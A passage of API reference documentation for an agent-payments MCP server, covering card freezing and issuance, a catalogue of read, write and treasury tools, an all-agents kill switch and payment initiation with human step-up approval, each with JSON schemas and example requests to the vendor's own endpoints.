"anomaly",
"admin_kill_switch",
"expired_agent"
]
}
},
"required": [
"card_id",
"reason"
],
"additionalProperties": false
}
```
## Output schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"card_id": {
"type": "string",
"format": "uuid",
"pattern": "^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$"
},
"frozen_at": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
},
"reason": {
"type": "string"
}
},
"required": [
"card_id",
"frozen_at",
"reason"
],
"additionalProperties": false
}
```
## Auth
Caller's grant must include the `cards:manage` scope. Grants whose scope set is a superset of the required scope are accepted.
## Request examples
```bash curl theme={null}
curl -X POST https://mcp.glide.co/mcp/write \
-H "Authorization: Bearer $GLIDE_GRANT_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "cards.freeze",
"params": {
"card_id": "d4e5f6a7-b8c9-0123-defa-234567890123",
"reason": "anomaly"
}
}'
```
```ts TypeScript theme={null}
import { GlideClient } from './glide-client';
const client = new GlideClient({ grantToken: process.env.GLIDE_GRANT_TOKEN! });
const result = await client.call('cards.freeze', {
card_id: 'd4e5f6a7-b8c9-0123-defa-234567890123',
reason: 'anomaly',
});
console.log(result);
```
```python Python theme={null}
from glide_client import GlideClient
import os
client = GlideClient(grant_token=os.environ["GLIDE_GRANT_TOKEN"])
result = client.call("cards.freeze", {
"card_id": "d4e5f6a7-b8c9-0123-defa-234567890123",
"reason": "anomaly",
})
print(result)
```
## Response examples
Success — card frozen:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"card_id": "d4e5f6a7-b8c9-0123-defa-234567890123",
"frozen_at": "2026-05-04T14:22:10Z",
"reason": "anomaly"
}
}
```
Card not found:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32602,
"message": "no card d4e5f6a7-b8c9-0123-defa-234567890123",
"data": { "reason_id": "card_not_found" }
}
}
```
Card belongs to a different vault:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32001,
"message": "card d4e5f6a7-b8c9-0123-defa-234567890123 does not belong to vault b2c3d4e5-f6a7-8901-bcde-f12345678901",
"data": { "reason_id": "card_belongs_to_other_vault" }
}
}
```
## Errors
| Code | Name | Cause | Remediation |
| -------- | --------------- | --------------------------------------------------------------------- | ---------------------------------------------------------- |
| `-32600` | Invalid request | Malformed JSON-RPC envelope | Check `method`, `jsonrpc`, and `id` fields |
| `-32602` | Invalid params | `card_id` not a valid UUID, or card does not exist (`card_not_found`) | Confirm the card was issued by this agent |
| `-32001` | Unauthorized | Card belongs to a different vault or a sibling agent | Use the `card_id` returned by `cards.issue` for this grant |
| `-32002` | Policy denied | Grant missing `cards:manage` scope | Issue a new grant with the required scope |
| `-32603` | Internal error | Issuer-side freeze call failed | Retry — freeze is idempotent; a second call is safe |
# cards.issue
Source: https://glide-9da73dea.mintlify.app/agents/api/cards-issue
Issue a scoped virtual card against the agent sub-vault. The card carries its own MCC filters, funding cap, and expiry independent of the envelope.
Issue a scoped virtual card against the agent sub-vault. The card carries its own MCC filters, funding cap, and expiry independent of the envelope.
## Metadata
| Field | Value |
| ------------------------ | -------------- |
| Name | `cards.issue` |
| Category | `write` |
| Required scope | `cards:manage` |
| Idempotency key required | yes |
## Annotations
| Annotation | Value |
| ----------------------- | ------------------ |
| Title | Issue Virtual Card |
| Read-only | no |
| Destructive | no |
| Idempotent | yes |
| Open-world | no |
| Requires human approval | no |
## Input schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"card_label": {
"type": "string",
"minLength": 1,
"maxLength": 100
},
"funding_cap_cents": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"expires_at": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
},
"mcc_allowlist": {
"type": "array",
"items": {
"type": "string",
"minLength": 4,
"maxLength": 4
}
},
"mcc_blocklist": {
"type": "array",
"items": {
"type": "string",
"minLength": 4,
"maxLength": 4
}
},
"idempotency_key": {
"type": "string",
"minLength": 8,
"maxLength": 128
}
},
"required": [
"card_label",
"funding_cap_cents",
"idempotency_key"
],
"additionalProperties": false
}
```
## Output schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"card_id": {
"type": "string",
"format": "uuid",
"pattern": "^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$"
},
"last4": {
"type": "string",
"minLength": 4,
"maxLength": 4
},
"issued_at": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
},
"policy_version": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
}
},
"required": [
"card_id",
"last4",
"issued_at",
"policy_version"
],
"additionalProperties": false
}
```
## Auth
Caller's grant must include the `cards:manage` scope. Grants whose scope set is a superset of the required scope are accepted.
## Request examples
```bash curl theme={null}
curl -X POST https://mcp.glide.co/mcp/write \
-H "Authorization: Bearer $GLIDE_GRANT_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "cards.issue",
"params": {
"card_label": "AWS Cloud Infra — May 2026",
"funding_cap_cents": 50000,
"expires_at": "2026-06-01T00:00:00Z",
"mcc_allowlist": ["7372", "7379"],
"single_use": false,
"idempotency_key": "aws-infra-card-may2026-001"
}
}'
```
```ts TypeScript theme={null}
import { GlideClient } from './glide-client';
const client = new GlideClient({ grantToken: process.env.GLIDE_GRANT_TOKEN! });
const result = await client.call('cards.issue', {
card_label: 'AWS Cloud Infra — May 2026',
funding_cap_cents: 50000,
expires_at: '2026-06-01T00:00:00Z',
mcc_allowlist: ['7372', '7379'],
single_use: false,
idempotency_key: 'aws-infra-card-may2026-001',
});
console.log(result);
// Store result.details_envelope securely — it is only returned once.
```
```python Python theme={null}
from glide_client import GlideClient
import os
client = GlideClient(grant_token=os.environ["GLIDE_GRANT_TOKEN"])
result = client.call("cards.issue", {
"card_label": "AWS Cloud Infra — May 2026",
"funding_cap_cents": 50000,
"expires_at": "2026-06-01T00:00:00Z",
"mcc_allowlist": ["7372", "7379"],
"single_use": False,
"idempotency_key": "aws-infra-card-may2026-001",
})
# details_envelope is only present on first issue; store it before discarding.
print(result)
```
## Response examples
Success — card issued with one-shot details envelope:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"card_id": "d4e5f6a7-b8c9-0123-defa-234567890123",
"last4": "4242",
"issued_at": "2026-05-04T08:00:00Z",
"policy_version": 2,
"details_envelope": {
"pan": "4111111111114242",
"cvv": "737",
"expiry_month": "06",
"expiry_year": "2026",
"billing_address": {
"line1": "340 Pine St Suite 800",
"city": "San Francisco",
"postal_code": "94104",
"country": "US"
}
}
}
}
```
Idempotent re-call (same `idempotency_key`) — `details_envelope` absent:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"card_id": "d4e5f6a7-b8c9-0123-defa-234567890123",
"last4": "4242",
"issued_at": "2026-05-04T08:00:00Z",
"policy_version": 2,
"details_envelope": null
}
}
```
Funding cap exceeds the tightest envelope cap:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32602,
"message": "card funding_cap 50000 exceeds tightest envelope cap 25000 (per_tx=25000, per_day=unset, lifetime=unset)",
"data": { "reason_id": "funding_cap_over_envelope" }
}
}
```
## Errors
| Code | Name | Cause | Remediation |
| -------- | --------------- | ----------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------- |
| `-32600` | Invalid request | Malformed JSON-RPC envelope | Check `method`, `jsonrpc`, and `id` fields |
| `-32602` | Invalid params | `funding_cap_cents` exceeds the tightest envelope cap; MCC code not 4 digits; envelope has no amount caps defined | Lower `funding_cap_cents` or update the envelope caps first |
| `-32001` | Unauthorized | Missing/expired grant token | Refresh via `agent.grant.refresh` |
| `-32002` | Policy denied | Grant missing `cards:manage` scope | Issue a new grant with the required scope |
| `-32603` | Internal error | Issuer-side card creation failed | Retry with the same `idempotency_key`; the response will be idempotent |
## Step-up flow
`cards.issue` does not itself trigger step-up — the `Requires human approval` annotation refers to the parent `agent.budget.create` saga that provisions the vault the card is drawn against. Cards issue freely once the vault is active and `funding_cap_cents` stays within the envelope.
If the issuing vault was originally configured with a `step_up_amount_cents` threshold and you are issuing a card whose `funding_cap_cents` exceeds that threshold, you will need a step-up-approved grant before calling this tool. Obtain one via `agent.grant.issue` (which always requires step-up). See [Step-up protocol](/docs/agents/step-up) for the full flow.
For `payments.initiate` — which does trigger inline step-up — see the [payments.initiate step-up flow](/docs/agents/api/payments-initiate#step-up-flow).
# MCP tool reference
Source: https://glide-9da73dea.mintlify.app/agents/api/index
Auto-generated from the apps/mcp tool catalog. Every tool, every input, every output schema.
Glide Headless exposes its tools through three MCP endpoints:
* `/mcp/read` — non-mutating queries (`tools/list`, balances, etc.)
* `/mcp/write` — mutating actions (issue grants, run payroll, freeze cards)
* `/mcp/treasury` — high-privilege treasury actions (kill switch, signer rotation)
Each tool below shows its required scope, annotations, and exact input/output JSON Schemas. Schemas are auto-generated from the source-of-truth Zod definitions in `apps/mcp/src/tools/`.
## Base URL
Three category-specific JSON-RPC endpoints:
* `https://mcp.glide.co/mcp/read` — non-mutating tools (`accounts.balance`, `accounts.list`, `agents.list`, `audit.stream`, `payments.simulate`, `skills.list`, `transactions.list`, `x402.receive`)
* `https://mcp.glide.co/mcp/write` — mutating tools (`beneficiary.add`, `cards.freeze`, `cards.issue`, `payments.initiate`, `payroll.run`, `transfer.schedule`, `x402.pay`)
* `https://mcp.glide.co/mcp/treasury` — high-privilege tools (`agent.budget.create`, `agent.budget.revoke`, `agent.grant.issue`, `agent.grant.refresh`, `killSwitch.all`, `vault.rotateSigner`, `yield.allocate`)
Tools are namespaced; calling a write tool on `/mcp/read` returns a confused-deputy error.
## Auth
Every call must carry a Glide-issued grant JWT in the `Authorization` header:
```
Authorization: Bearer
```
Grants are scoped (e.g. `accounts:read`, `payments:initiate`), tied to a specific principal + agent + entity, and have a short TTL. The MCP server performs a fresh database read on every call so a revoked grant fails closed immediately. To obtain a grant, complete the [OAuth flow](/docs/oss/headless/oauth-flow) with your agent's `client_credentials`.
## Quick example
```bash curl theme={null}
curl -X POST https://mcp.glide.co/mcp/read \
-H "Authorization: Bearer $GLIDE_GRANT_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "accounts.list",
"params": {}
}'
```
For curl, TypeScript, and Python wrapper implementations that make every per-tool example on this site runnable as-is, see [Clients (curl, TypeScript, Python)](/agents/api/_clients).
## All 22 tools
| Tool | Scope | Category | Step-up | Description |
| -------------------------------------------------------- | ------------------------- | -------- | ----------- | --------------------------------------------------------------------------------------- |
| [`accounts.balance`](/agents/api/accounts-balance) | `accounts:read` | read | no | Per-chain, per-token balance of the agent vault. |
| [`accounts.list`](/agents/api/accounts-list) | `accounts:read` | read | no | List the accounts this agent can operate on. |
| [`agents.list`](/agents/api/agents-list) | `agents:read` | read | no | List sibling agents under the same principal/entity. |
| [`audit.stream`](/agents/api/audit-stream) | `audit:stream` | read | no | Mint a cursor for subscribing to this agent's event stream over SSE. |
| [`payments.simulate`](/agents/api/payments-simulate) | `payments:simulate` | read | no | Run policy evaluation against a proposed payment without side effects. |
| [`skills.list`](/agents/api/skills-list) | `accounts:read` | read | no | Catalog of installable skills from glide.co/skills. |
| [`transactions.list`](/agents/api/transactions-list) | `accounts:read` | read | no | Paginated list of this agent's transactions. |
| [`x402.receive`](/agents/api/x402-receive) | `x402:receive` | read | no | Return this agent's x402 receive endpoints. |
| [`beneficiary.add`](/agents/api/beneficiary-add) | `beneficiary:write` | write | no | Propose adding a counterparty to the agent's envelope allowlist. |
| [`cards.freeze`](/agents/api/cards-freeze) | `cards:manage` | write | no | Freeze a previously issued card. |
| [`cards.issue`](/agents/api/cards-issue) | `cards:manage` | write | no | Issue a scoped virtual card against the agent sub-vault. |
| [`payments.initiate`](/agents/api/payments-initiate) | `payments:initiate` | write | conditional | Initiate a payment inside the agent vault envelope. |
| [`payroll.run`](/agents/api/payroll-run) | `payments:initiate` | write | no | Kick a payroll batch (requires V2 payroll infra). |
| [`transfer.schedule`](/agents/api/transfer-schedule) | `payments:initiate` | write | conditional | Schedule a future-dated transfer; envelope evaluated at schedule + execute time. |
| [`x402.pay`](/agents/api/x402-pay) | `x402:pay` | write | no | Pay an x402 micropayment endpoint with server-side RPC verification. |
| [`agent.budget.create`](/agents/api/agent-budget-create) | `agent:budget:create` | treasury | no | Spawn a child agent with a scoped sub-vault and policy envelope. |
| [`agent.budget.revoke`](/agents/api/agent-budget-revoke) | `agent:budget:revoke` | treasury | no | Revoke a child agent and optionally sweep its vault to the parent. |
| [`agent.grant.issue`](/agents/api/agent-grant-issue) | `agent:budget:create` | treasury | always | Issue a new bearer grant with a narrowed scope set. |
| [`agent.grant.refresh`](/agents/api/agent-grant-refresh) | `agent:budget:create` | treasury | no | Re-issue a grant under the current policy version when policy is unchanged-or-narrowed. |
| [`killSwitch.all`](/agents/api/killSwitch-all) | `agent:budget:revoke` | treasury | no | Atomic kill-switch: revoke every grant + freeze every sub-vault for this principal. |
| [`vault.rotateSigner`](/agents/api/vault-rotateSigner) | `treasury:rotate-signer` | treasury | always | Rotate the signing key for this agent's sub-vault. |
| [`yield.allocate`](/agents/api/yield-allocate) | `treasury:yield-allocate` | treasury | conditional | Move funds between yield vaults (Aave/Morpho/Kamino/idle). |
**Step-up column:** `always` = every call requires principal biometric approval regardless of amount. `conditional` = required when the transfer amount exceeds the envelope's `step_up_amount_cents` threshold. `no` = never step-up gated.
See [Policy envelope](/agents/policy-envelope) for the full policy contract, [Step-up flow](/agents/step-up) for the biometric approval sequence, and [Receipts](/agents/receipts) for the audit trail format.
## Read tools
| Tool | Description |
| ---------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------- |
| [`accounts.balance`](/agents/api/accounts-balance) | Per-chain, per-token balance of the agent vault. Amounts returned in both cents (USD-normalized via current FX where app |
| [`accounts.list`](/agents/api/accounts-list) | List the accounts this agent can operate on. Scoped strictly to the grant's aud.vault\_id — a sibling agent's vault is ne |
| [`agents.list`](/agents/api/agents-list) | List sibling agents under the same principal/entity. Useful for cross-agent UIs; doesn't expose another agent's envelope |
| [`audit.stream`](/agents/api/audit-stream) | Mint a cursor for subscribing to this agent's event stream over SSE. The cursor is bound to the current grant — when the |
| [`payments.simulate`](/agents/api/payments-simulate) | Run the full policy envelope evaluation against a proposed payment. Returns the verdict + every reason without any side |
| [`skills.list`](/agents/api/skills-list) | Catalog of installable skills from glide.co/skills. Each skill advertises its runtime compatibility and whether its upst |
| [`transactions.list`](/agents/api/transactions-list) | Paginated list of this agent's transactions. Scoped to the agent; sibling agents' history never appears. Use cursor for |
| [`x402.receive`](/agents/api/x402-receive) | Return this agent's x402 receive endpoints. Every Glide vault is x402-addressable out of the box — other agents can pay |
## Write tools
| Tool | Description |
| ---------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------- |
| [`beneficiary.add`](/agents/api/beneficiary-add) | Propose adding a counterparty to the agent's envelope allowlist. Per the multisig allowlist gate, allowlist mutations ar |
| [`cards.freeze`](/agents/api/cards-freeze) | Freeze a previously issued card. The card will reject subsequent authorizations until unfrozen (unfreeze tool ships in v |
| [`cards.issue`](/agents/api/cards-issue) | Issue a scoped virtual card against the agent sub-vault. The card carries its own MCC filters, funding cap, and expiry i |
| [`payments.initiate`](/agents/api/payments-initiate) | Initiate a payment inside the agent vault envelope. Amounts over the step-up threshold return a pending\_step\_up response |
| [`payroll.run`](/agents/api/payroll-run) | Kick a payroll batch. Requires V2 payroll infra (Sprint 3-4); returns blocked\_by\_dep if unavailable, matching PLAN.md he |
| [`transfer.schedule`](/agents/api/transfer-schedule) | Schedule a future-dated transfer. Envelope is evaluated at schedule time AND again at execute time; policy bumps between |
| [`x402.pay`](/agents/api/x402-pay) | Pay an x402 micropayment endpoint. Server-side RPC verification of the on-chain tx is MANDATORY — the facilitator receip |
## Treasury tools
| Tool | Description |
| -------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------- |
| [`agent.budget.create`](/agents/api/agent-budget-create) | Spawn a child agent with a scoped multisig sub-vault and a policy envelope. The operation is a saga — on any failure the |
| [`agent.budget.revoke`](/agents/api/agent-budget-revoke) | Revoke a child agent and optionally auto-sweep its sub-vault back to the parent treasury. Revocation is terminal; spawn |
| [`agent.grant.issue`](/agents/api/agent-grant-issue) | Issue a new bearer grant for this agent with a narrowed scope set. Always requires principal step-up — the first call re |
| [`agent.grant.refresh`](/agents/api/agent-grant-refresh) | Re-issue this agent's grant under the current policy version when the new policy is unchanged-or-narrowed vs the issue-t |
| [`killSwitch.all`](/agents/api/killSwitch-all) | Atomic kill-switch: revoke every active grant + freeze every sub-vault for this principal. The confirm\_scope literal 'AL |
| [`vault.rotateSigner`](/agents/api/vault-rotateSigner) | Rotate the signing key for this agent's sub-vault. Always requires principal step-up. Completes atomically with a policy |
| [`yield.allocate`](/agents/api/yield-allocate) | Move funds between yield vaults (Aave/Morpho/Kamino/idle) within the envelope. Blocked by V3 yield infra if that depende |
## Auth model
Every call must carry a Glide-issued grant JWT in the `Authorization: Bearer …` header. Grants are scoped (e.g. `agents:read`, `payments:write`) and tied to a specific principal + agent + entity. The MCP server fresh-reads the tenant from the database on every call so a stolen grant against a stale tenant fails closed.
See [/agents/policy-envelope](/agents/policy-envelope) for the policy contract Glide enforces on top of the grant.
# killSwitch.all
Source: https://glide-9da73dea.mintlify.app/agents/api/killSwitch-all
Atomic kill-switch: revoke every active grant + freeze every sub-vault for this principal. The confirm_scope literal 'ALL_AGENTS_THIS_PRINCIPAL' is required to
Atomic kill-switch: revoke every active grant + freeze every sub-vault for this principal. The confirm\_scope literal 'ALL\_AGENTS\_THIS\_PRINCIPAL' is required to prevent accidental invocation.
## Metadata
| Field | Value |
| ------------------------ | --------------------- |
| Name | `killSwitch.all` |
| Category | `treasury` |
| Required scope | `agent:budget:revoke` |
| Idempotency key required | no |
## Annotations
| Annotation | Value |
| ----------------------- | ------------------------ |
| Title | Kill Switch (All Agents) |
| Read-only | no |
| Destructive | yes |
| Idempotent | yes |
| Open-world | no |
| Requires human approval | no |
## Input schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"reason": {
"default": "user_request",
"type": "string",
"enum": [
"user_request",
"anomaly",
"compromised_key",
"migration"
]
},
"confirm_scope": {
"type": "string",
"const": "ALL_AGENTS_THIS_PRINCIPAL"
}
},
"required": [
"reason",
"confirm_scope"
],
"additionalProperties": false
}
```
## Output schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"grants_revoked": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"agents_revoked": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"vaults_frozen": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"executed_at": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
}
},
"required": [
"grants_revoked",
"agents_revoked",
"vaults_frozen",
"executed_at"
],
"additionalProperties": false
}
```
## Auth
Caller's grant must include the `agent:budget:revoke` scope. Grants whose scope set is a superset of the required scope are accepted.
## Request examples
```bash curl theme={null}
curl -X POST https://mcp.glide.co/mcp/treasury \
-H "Authorization: Bearer $GLIDE_GRANT_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "killSwitch.all",
"params": {
"reason": "anomaly",
"confirm_scope": "ALL_AGENTS_THIS_PRINCIPAL"
}
}'
```
```ts TypeScript theme={null}
import { GlideClient } from './glide-client';
const client = new GlideClient({ grantToken: process.env.GLIDE_GRANT_TOKEN! });
// confirm_scope must be the exact literal string — this is an intentional
// friction gate to prevent accidental invocation.
const result = await client.call('killSwitch.all', {
reason: 'anomaly',
confirm_scope: 'ALL_AGENTS_THIS_PRINCIPAL',
});
console.log(
`Kill switch executed: ${result.grants_revoked} grants revoked, ` +
`${result.agents_revoked} agents revoked, ${result.vaults_frozen} vaults frozen.`
);
```
```python Python theme={null}
from glide_client import GlideClient
import os
client = GlideClient(grant_token=os.environ["GLIDE_GRANT_TOKEN"])
result = client.call(
"killSwitch.all",
{
"reason": "anomaly",
"confirm_scope": "ALL_AGENTS_THIS_PRINCIPAL",
},
)
print(
f"Kill switch executed: {result['grants_revoked']} grants revoked, "
f"{result['agents_revoked']} agents revoked, {result['vaults_frozen']} vaults frozen."
)
```
## Response examples
**Success**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"grants_revoked": 4,
"agents_revoked": 3,
"vaults_frozen": 3,
"executed_at": "2026-05-04T15:45:00Z"
}
}
```
**Wrong `confirm_scope` literal**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32602,
"message": "Invalid params",
"data": {
"reason_id": "invalid_params"
}
}
}
```
## Errors
| Code | `reason_id` | Meaning |
| -------- | ----------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `-32000` | `unauthenticated` | Bearer token missing or expired. |
| `-32001` | `unauthorized` | Grant does not include `agent:budget:revoke`. |
| `-32602` | `invalid_params` | `confirm_scope` was not the exact literal `"ALL_AGENTS_THIS_PRINCIPAL"`, or `reason` is not one of the allowed enum values. |
| `-32603` | `internal_error` | Transient fault. Re-check the admin UI — a partial kill may have already occurred. Use the forensic kill-switch at `/admin/agents-kill-switch` to verify state. |
**Idempotency note:** This tool is marked idempotent. Calling it a second time after a successful execution returns the same result shape without performing a second revocation sweep. Calling it with a different `reason` after a prior successful call is a no-op on the revocation side (all grants are already revoked); `executed_at` will reflect the second call's timestamp but counts will be `0`.
# payments.initiate
Source: https://glide-9da73dea.mintlify.app/agents/api/payments-initiate
Initiate a payment inside the agent vault envelope; amounts over the step-up threshold return a pending_step_up response until the principal approves.
Initiate a payment inside the agent vault envelope. Amounts over the step-up threshold return a pending\_step\_up response with a URL the user must visit. All on-chain broadcast happens asynchronously via Inngest with a CAS-claim to prevent double-send (PLAN.md F2). on\_chain\_tx fields on the resulting receipt are server-fetched from RPC, never trusted from the facilitator (PLAN.md F1).
## Metadata
| Field | Value |
| ------------------------ | ------------------- |
| Name | `payments.initiate` |
| Category | `write` |
| Required scope | `payments:initiate` |
| Idempotency key required | yes |
## Annotations
| Annotation | Value |
| ----------------------- | ---------------- |
| Title | Initiate Payment |
| Read-only | no |
| Destructive | yes |
| Idempotent | yes |
| Open-world | no |
| Requires human approval | yes (step-up) |
## Input schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"counterparty": {
"type": "object",
"properties": {
"address": {
"type": "string",
"minLength": 1
},
"chain": {
"type": "string",
"enum": [
"eth",
"base",
"arb",
"op",
"polygon",
"sol"
]
},
"token": {
"type": "string",
"minLength": 1
}
},
"required": [
"address",
"chain",
"token"
],
"additionalProperties": false
},
"amount_cents": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"currency": {
"type": "string",
"minLength": 1,
"maxLength": 8
},
"memo": {
"type": "string",
"maxLength": 280
},
"idempotency_key": {
"type": "string",
"minLength": 8,
"maxLength": 128
},
"mcc": {
"type": "string",
"minLength": 4,
"maxLength": 4
},
"geo": {
"type": "string",
"minLength": 2,
"maxLength": 2
}
},
"required": [
"counterparty",
"amount_cents",
"currency",
"idempotency_key"
],
"additionalProperties": false
}
```
## Output schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"kind": {
"type": "string",
"enum": [
"accepted",
"pending_step_up"
]
},
"pending_payment_id": {
"type": "string",
"format": "uuid",
"pattern": "^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$"
},
"policy_version": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"risk_verdict": {
"type": "string",
"enum": [
"allow",
"allow_with_step_up"
]
},
"step_up_url": {
"type": "string",
"format": "uri"
},
"enqueued_at": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
}
},
"required": [
"kind",
"pending_payment_id",
"policy_version",
"risk_verdict",
"enqueued_at"
],
"additionalProperties": false
}
```
## Auth
Caller's grant must include the `payments:initiate` scope. Grants whose scope set is a superset of the required scope are accepted.
## Request examples
```bash curl theme={null}
curl -X POST https://mcp.glide.co/mcp/write \
-H "Authorization: Bearer $GLIDE_GRANT_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "payments.initiate",
"params": {
"counterparty": {
"address": "0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045",
"chain": "base",
"token": "USDC"
},
"amount_cents": 75000,
"currency": "USD",
"memo": "Invoice #INV-2026-0042 — software license renewal",
"idempotency_key": "inv-2026-0042-payment-attempt-001"
}
}'
```
```ts TypeScript theme={null}
import { GlideClient } from './glide-client';
const client = new GlideClient({ grantToken: process.env.GLIDE_GRANT_TOKEN! });
const result = await client.call('payments.initiate', {
counterparty: {
address: '0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045',
chain: 'base',
token: 'USDC',
},
amount_cents: 75000,
currency: 'USD',
memo: 'Invoice #INV-2026-0042 — software license renewal',
idempotency_key: 'inv-2026-0042-payment-attempt-001',
});
console.log(result);
```
```python Python theme={null}
from glide_client import GlideClient
import os
client = GlideClient(grant_token=os.environ["GLIDE_GRANT_TOKEN"])
result = client.call("payments.initiate", {
"counterparty": {
"address": "0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045",
"chain": "base",
"token": "USDC",
},
"amount_cents": 75000,
"currency": "USD",
"memo": "Invoice #INV-2026-0042 — software license renewal",
"idempotency_key": "inv-2026-0042-payment-attempt-001",
})
print(result)
```
## Response examples
Success — payment accepted and queued for broadcast:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"kind": "accepted",
"pending_payment_id": "e5f6a7b8-c9d0-1234-efab-345678901234",
"policy_version": 3,
"risk_verdict": "allow",
"enqueued_at": "2026-05-04T12:00:00Z"
}
}
```
Step-up required (amount exceeds `step_up_amount_cents` in the envelope):
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32003,
"message": "amount 750000 requires step-up approval",
"data": {
"reason_id": "step_up_required",
"step_up_url": "https://app.glide.co/step-up/e5f6a7b8-c9d0-1234-efab-345678901234?sigil=tok_abc123"
}
}
}
```
Policy denied — daily cap exceeded:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32002,
"message": "daily spend cap of 100000 cents would be exceeded by this payment",
"data": { "reason_id": "daily_cap_exceeded" }
}
}
```
## Errors
| Code | Name | Cause | Remediation |
